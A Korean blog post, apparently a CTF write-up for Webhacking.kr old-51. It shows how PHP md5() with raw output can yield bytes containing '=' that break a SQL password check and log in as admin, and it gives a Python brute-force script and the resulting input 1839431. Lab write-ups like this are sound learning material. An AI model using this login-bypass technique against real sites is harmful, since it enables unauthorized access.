본문 바로가기
Hacking/WebHacking.kr

Webhacking.kr : old-51 (250 pt)

by newbie22 2021. 2. 8.

 

문제에 접속하면 다음과 같은 화면이 나타납니다.

 

 

-> Admin page라는 문구와 함께 로그인 폼이 보입니다.

-> source가 주어집니다.

 

 

-> 쿼리의 결과가 존재하면 문제는 해결됩니다.

-> input_id 값은 addslashes로 필터링합니다.

-> input_pw 값은 md5로 해쉬화합니다. 이 때 md5함수의 매개변수를 보면 뒤에 true라는 매개변수를 볼 수 있습니다.

 

***

php md5 함수 : www.codingfactory.net/12183

 

PHP / 함수 / md5() / 문자열에서 md5 해시값 생성하는 함수

개요 md5()는 문자열에서 md5 해시값을 생성하는 함수입니다. 해시값에서 원래의 문자열을 만들지는 못합니다. 문자열이 같다면 같은 해시값을 만드므로, 비밀번호를 암호화하여 저장하는 용도로

www.codingfactory.net

-> 해당 글에 따르면 md5 두 번째 매개변수 true는 row_output에 대한 설정으로 기본 값은 flase입니다. 

-> true경우 16바이너리 형식으로 반환합니다. 

 

ex) 해쉬 값이 61616161616161616161616161616161 일 때 row_output에 따른 출력 값row_output = flase : 61616161616161616161616161616161

row_putput = ture : aaaaaaaaaaaaaaaa

 

따라서 해쉬 값에 '=' 포함되어 있으면 쿼리는 다음과 같이 해석됩니다.

 

select id from chall51 where id='admin' and pw='~,~'='~.~'

 

따라서 id가 admin이고 pw가 ~,~ 이고 ~.~ 인 데이터를 찾게됩니다. 즉, id가 admin값을 찾게 됩니다.

 

pw='~,~'='~.~'가 참인 이유 (이 때 pw = admin , ~,~ = apple , ~.~ = banana 로 가정)

-> 쿼리에서 우선 pw='~,~'를 비교합니다. 같이 않으므로 0이됩니다.

-> 그 다음 비교는 0='~.~' 가 되면서 0 = 0은 참이므로 1을 리턴합니다.

< 쿼리 test >

 

import hashlib

i = 0
while 1 :
    MD = hashlib.new('md5')    
    MD.update(str(i).encode('utf-8'))
    
    result = str(MD.digest())
    
    result = result[2:len(result) - 1]

    ck = result.find("'='")
    
    if ck != -1 :
        print(i)
        print(result)
        break
    i += 1

 

-> 해당 코드 실행 결과로 1839431 값이 나왔습니다. 

 

 

 

 

끝~~

'Hacking > WebHacking.kr' 카테고리의 다른 글

Webhacking.kr : old-58 (150 pt)  (0) 2021.02.09
Webhacking.kr : old-56 (250 pt)  (0) 2021.02.09
Webhacking.kr : old-43 (250 pt)  (0) 2021.01.28
Webhacking.kr : old-41 (250 pt)  (0) 2021.01.27
Webhacking.kr : old-21 (250 pt)  (0) 2021.01.27